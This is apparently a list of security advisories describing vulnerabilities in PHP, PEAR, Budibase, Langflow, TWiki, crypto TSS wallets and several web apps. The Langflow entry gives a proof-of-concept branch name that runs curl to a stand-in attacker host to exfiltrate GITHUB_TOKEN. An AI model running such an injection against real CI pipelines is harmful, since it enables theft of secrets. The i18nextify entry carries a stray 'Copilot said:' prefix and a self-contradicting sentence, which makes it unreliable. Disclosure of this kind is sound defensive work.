ext/session/session.c in PHP before 5.6.25 and 7.x before 7.0.10 skips invalid session names in a way that triggers incorrect parsing, which allows remote attackers to inject arbitrary-type session data by leveraging control of a session name, as demonstrated by object injection.

PECL in the download utility class in the Installer in PEAR Base System v1.10.1 does not validate file types and filenames after a redirect, which allows remote HTTP servers to overwrite files via crafted responses, as demonstrated by a .htaccess overwrite.

In PHP versions 8.1.* before 8.1.31, 8.2.* before 8.2.26, 8.3.* before 8.3.14, when using streams with configured proxy and "request_fulluri" option, the URI is not properly sanitized which can lead to HTTP request smuggling and allow the attacker to use the proxy to perform arbitrary HTTP requests originating from the server, thus potentially gaining access to resources not normally available to the external user.

In PHP versions 7.2.x below 7.2.26, 7.3.x below 7.3.13 and 7.4.0, PHP DirectoryIterator class accepts filenames with embedded \0 byte and treats them as terminating at that byte. This could lead to security vulnerabilities, e.g. in applications checking paths that the code is allowed to access.

The default soap.wsdl_cache_dir setting in (1) php.ini-production and (2) php.ini-development in PHP through 5.6.7 specifies the /tmp directory, which makes it easier for local users to conduct WSDL injection attacks by creating a file under /tmp with a predictable filename that is used by the get_sdl function in ext/soap/php_sdl.c.

Budibase is a low code platform for creating internal tools, workflows, and admin panels. In 3.31.4 and earlier, the Budibase server's authorized() middleware that protects every server-side API endpoint can be completely bypassed by appending a webhook path pattern to the query string of any request. The isWebhookEndpoint() function uses an unanchored regex that tests against ctx.request.url, which in Koa includes the full URL with query parameters. When the regex matches, the authorized() middleware immediately calls return next(), skipping all authentication, authorization, role checks, and CSRF protection. This means a completely unauthenticated, remote attacker can access any server-side API endpoint by simply appending ?/webhooks/trigger (or any webhook pattern variant) to the URL.

A host header injection vulnerability exists in the forgot password functionality of ArrowCMS version 1.0.0. By sending a specially crafted host header in the forgot password request, it is possible to send password reset links to users which, once clicked, lead to an attacker-controlled server and thus leak the password reset token. This may allow an attacker to reset other users' passwords.

Copilot said: i18nextify is a JavaScript library that adds i18nextify is a JavaScript library that adds website internationalization via a script tag, without source code changes. Versions prior to 3.0.5 interpolate the lng and ns values directly into the configured loadPath / addPath URL template without any encoding, validation, or path sanitisation. When an application exposes the language-code selection to user-controlled input (the default — i18next-browser-languagedetector reads ?lng= query params, cookies, localStorage, and request headers), an attacker can inject characters that change the structure of the outgoing request URL. This is a single URL-injection vulnerability. The attacker-controlled value is neutralised before it is used as part of an output URL string; the attack shape covers both path traversal and broader URL-structure injection — both are closed by the one interpolateUrl sanitisation fix. This issue has been fixed in version 3.0.5. If users cannot upgrade immediately, they can work around the issue by sanitising lng / ns before they reach i18next (strip .., /, \, ?, #, %, whitespace, and control characters; cap the length).

NoSQL injection vulnerability in GROWI versions prior to v4.2.20 allows a remote attacker to obtain and/or alter the information stored in the database via unspecified vectors.

A vulnerability was found in Realce Tecnologia Queue Ticket Kiosk up to 20250517. It has been declared as critical. This vulnerability affects unknown code of the file /adm/index.php of the component Admin Login Page. The manipulation of the argument Usuário leads to sql injection. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was found in code-projects E-Health Care System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /Doctor/doctor_login.php. The manipulation of the argument email leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Crypto wallets implementing the GG18 or GG20 TSS protocol might allow an attacker to extract a full ECDSA private key by injecting a malicious pallier key and cheating in the range proof. Depending on the Beta parameters chosen in the protocol implementation, the attack might require 16 signatures or more fully exfiltrate the other parties' private key shares.

Eval injection vulnerability in lib/TWiki/Plugins.pm in TWiki before 6.0.1 allows remote attackers to execute arbitrary Perl code via the debugenableplugins parameter to do/view/Main/WebHome.